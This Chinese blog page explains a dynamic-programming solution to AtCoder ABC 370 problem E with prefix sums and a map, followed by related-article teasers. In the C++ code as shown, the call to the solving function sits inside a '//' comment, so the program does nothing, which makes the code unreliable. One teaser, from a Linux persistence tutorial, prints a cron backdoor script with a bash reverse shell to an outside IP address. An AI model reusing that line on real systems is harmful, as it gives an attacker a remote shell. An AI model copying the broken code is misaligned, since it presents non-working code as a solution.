ABC 370 E - Avoid K Partition

原题链接:E - Avoid K Partition

题意:给长度为n的数组,将数组划分成任意份,但是每一份的总和都不能是k,问有多少种分割方法。

思路:dp,f[i],代表前i个元素满足题意的划分的总和,那么转移方程就是f(i)=\sum f[j]^{},j是从1到i-1,然后如果从j到i这一段的总和是k,那么就减去f[j],对于任意的f[i]来说,这样是不重不漏的,那么可以很容易写出一个n*2的算法,可以观察到,这个算法的瓶颈是在减去j到i总和是k的这一步上,从前缀和的角度考虑,对于每个从j到i总和为k来说,从1到j的总和都是一样的值,那么就可以用map来记录一下,从1到j总和为键,从1到j的划分方法为值,这样时间复杂度就可以了。

//冷静,冷静,冷静
//调不出来就重构
//#pragma GCC optimize(2)
//#pragma GCC optimize("O3")
#include<bits/stdc++.h>
#define endl '\n'
#define count2(x) __builtin_popcountll(x)
#define is2(x) __builtin_ffsll(x)
using namespace std;
typedef long long ll;
typedef long double ld;
typedef pair<ll,ll> pii;
const int N=1e6+10,mod=998244353;
ll pre[N],p[N],f[N];
void Jiuyuan()
{ll n,k;cin>>n>>k;for(int i=1;i<=n;i++){cin>>p[i];pre[i]=pre[i-1]+p[i];}map<ll,ll> op;op[0]=1;f[0]=1;ll sum=1;for(int i=1;i<=n;i++){f[i]=(sum-op[pre[i]-k]%mod+mod)%mod;op[pre[i]]=(op[pre[i]]+f[i])%mod;sum=(sum+f[i])%mod; }cout<<f[n];
}
int main()
{ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);ll T=1;
//	cin>>T;while(T--){Jiuyuan();}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420132.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows--linux共享文件夹

1、如果共享文件夹设置在Windows上面 文件夹设置 个人家里电脑通常不设置用户名密码 linux端mount命令行 mount -t cifs -o usernamewade,vers3.0 //192.168.0.143/openvswitch-2.17.10 /root/windows

适用于计算机视觉的机器学习

使用筛选器将效果应用于图像的功能在图像处理任务中非常有用&#xff0c;例如可能使用图像编辑软件执行的任务。 但是&#xff0c;计算机视觉的目标通常是从图像中提取含义或至少是可操作的见解&#xff0c;这需要创建经过训练以基于大量现有图像识别特征的机器学习模型。 卷积…

mysql快速定位cpu 占比过高的sql语句

mysql快速定位cpu 占比过高的sql语句 当MySQL数据库的CPU使用率异常升高时&#xff0c;定位导致问题的SQL语句可以通过以下步骤进行 1、使用top命令找出mysl进程中占用CPU靠前的线程 #找出mysql 的进程号 ps -ef | grep mysql#根据进程号&#xff0c;找出占用CPU靠前的线程号…

树莓派通过串口驱动HC-08蓝牙模块

树莓派通过串口驱动HC-08蓝牙模块 文章目录 树莓派通过串口驱动HC-08蓝牙模块一、HC-08蓝牙模块介绍二、树莓派与蓝牙模块硬件连接三、树莓派通过蓝牙控制设备 一、HC-08蓝牙模块介绍 蓝牙模块&#xff0c;是一种集成的蓝牙功能的PCB板&#xff0c;用于短距离无线通信&#xff…

避障小车—51单片机

一、小车底盘组装 根据视频的安装步骤安装 二、 电机模块开发 2.1 L9110s概述 接通VCC&#xff0c;GND 模块电源指示灯亮&#xff0c; 以下资料来源官方&#xff0c;但是不对&#xff0c;根据下节课实际调试 IA1输入高电平&#xff0c;IA1输入低电平&#xff0c;【OA1 OB1…

JavaWeb【day11】--(SpringBootWeb案例)

SpringBootWeb案例 前面我们已经实现了员工信息的条件分页查询以及删除操作。 关于员工管理的功能&#xff0c;还有两个需要实现&#xff1a; 新增员工 修改员工 首先我们先完成"新增员工"的功能开发&#xff0c;再完成"修改员工"的功能开发。而在&quo…

PDF样本图册转换为一个链接,随时打开无需印刷

想象一下&#xff0c;您手中有一本厚重的样本图册&#xff0c;里面包含了丰富多样的内容&#xff0c;如产品介绍、项目方案、学术论文等。在过去&#xff0c;您需要逐一翻阅、筛选&#xff0c;甚至为了便于查看&#xff0c;不得不将其印刷出来。如今&#xff0c;借助先进的数字…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

都2024年了还不明白Redis持久化?RDB文件、AOF文件、AOF重写

都2024年了&#xff0c;不会还有人不知道redis的RDB和Aof吧&#xff1f;不知道没关系&#xff0c;看完这篇文章我相信你就会有个大概的了解和认识了 1. Redis持久化 1.1 持久化概念 Redis本身是一个基于内存的数据库&#xff0c;它提供了RDB持久化、AOF持久化两种方式&#…

田纳西州橡树岭全球最快的超级计算机名为Frontier

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

记录深度学习量化操作

0. 简介 深度学习中做量化提升运行速度是最常用的方法&#xff0c;尤其是大模型这类非常吃GPU显存的方法。一般是高精度浮点数表示的网络权值以及激活值用低精度&#xff08;例如8比特定点&#xff09;来近似表示达到模型轻量化&#xff0c;加速深度学习模型推理&#xff0c;目…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一&#xff1a;权限维持-Linux-定时任务-Cron后门 linux的计时任务&#xff0c;配置文件再/etc/crontab下 创建后门文件&#xff0c;这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

[数据集][目标检测]街道乱堆垃圾检测数据集VOC+YOLO格式94张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;94 标注数量(xml文件个数)&#xff1a;94 标注数量(txt文件个数)&#xff1a;94 标注类别数…

联想泄露显示本月推出更便宜的Copilot Plus电脑

联想似乎准备推出新的更实惠的 Copilot Plus 电脑。可靠的爆料者Evan Blass发布了一份来自联想的新闻稿&#xff0c;详细介绍了将在本周晚些时候的IFA展会上宣布的各种Copilot Plus电脑&#xff0c;其中包括两款采用尚未公布的8核高通骁龙X Plus芯片的电脑。 这些新的高通芯片…

【前端】vue+html+js 实现table表格展示,以及分页按钮添加

一. 问题描述 数据条数太多显示到页面上时可能会渲染较慢&#xff0c;因此需要截取数据进行展示。 二. 代码写法 思路&#xff1a;按照上述图示思路&#xff0c;需要有两个数据列表&#xff0c;一个存储的是所有的列表数据&#xff0c;一个存储的是展示的数据列表&#xff0c…

Vue组件:使用$emit()方法监听子组件事件

1、监听自定义事件 父组件通过使用 Prop 为子组件传递数据&#xff0c;但如果子组件要把数据传递回去&#xff0c;就需要使用自定义事件来实现。父组件可以通过 v-on 指令&#xff08;简写形式“”&#xff09;监听子组件实例的自定义事件&#xff0c;而子组件可以通过调用内建…

基于单片机的人脸识别的智能门禁系统设计

文章目录 前言资料获取设计介绍功能介绍设计清单核心代码具体实现截图参考文献设计获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师&#xff0c;一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等…

C/C++ 中的算术运算及其陷阱(详解,举例分析)

在C/C编程中&#xff0c;算术运算是非常基础且常用的操作。然而&#xff0c;这些看似简单的运算背后却隐藏着一些潜在的陷阱&#xff0c;如果不加以注意&#xff0c;可能会导致程序出现难以预料的错误。本文将探讨C/C中常见的算术运算及其潜在的陷阱&#xff0c;并通过实例进行…

大数据技术体系架构

数据源 社交媒体平台 云平台 网站资源 物联网&#xff08;IOT&#xff09; 数据库 特点 分布式 数据源一般分布在不同的设备上&#xff0c;这些设备通常由网络连接在一起&#xff0c;网络空间的安全及其重要&#xff1b; 异构性 数据的来源广泛&#xff0c;比如社交媒…

一台手机一个ip地址吗?手机ip地址泄露了怎么办

在数字化时代&#xff0c;‌手机作为我们日常生活中不可或缺的一部分&#xff0c;‌其网络安全性也日益受到关注。‌其中一个常见的疑问便是&#xff1a;‌“一台手机是否对应一个固定的IP地址&#xff1f;‌”实际上&#xff0c;‌情况并非如此简单。‌本文首先解答这一问题&a…